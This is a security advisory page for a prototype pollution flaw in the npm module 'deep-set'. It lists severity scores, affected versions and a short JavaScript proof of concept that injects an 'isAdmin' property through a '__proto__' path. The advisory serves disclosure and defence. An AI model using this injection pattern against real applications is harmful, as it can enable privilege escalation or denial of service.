Lucene search

K
osvGoogleOSV:GHSA-WGXM-RG53-H2C6
HistoryMay 24, 2022 - 5:37 p.m.

Prototype pollution vulnerability in 'deep-set'

2022-05-2417:37:25
Google
osv.dev
3

9.5 High

AI Score

Confidence

High

0.011 Low

EPSS

Percentile

84.7%

The NPM module ‘deep-set’ can be abused by Prototype Pollution vulnerability since the function deepSet() does not check for the type of object before assigning value to the property. Due to this flaw an attacker could create a non-existent property or able to manipulate the property which leads to Denial of Service or potentially Remote code execution.

PoC

var deepSet = require('deep-set')
var obj = {'1':'2'}
console.log(obj.isAdmin);
deepSet(obj, '__proto__.isAdmin', 'true')
console.log(obj.isAdmin);
CPENameOperatorVersion
deep-setle1.0.1
deep-setge1.0.0

9.5 High

AI Score

Confidence

High

0.011 Low

EPSS

Percentile

84.7%

Related for OSV:GHSA-WGXM-RG53-H2C6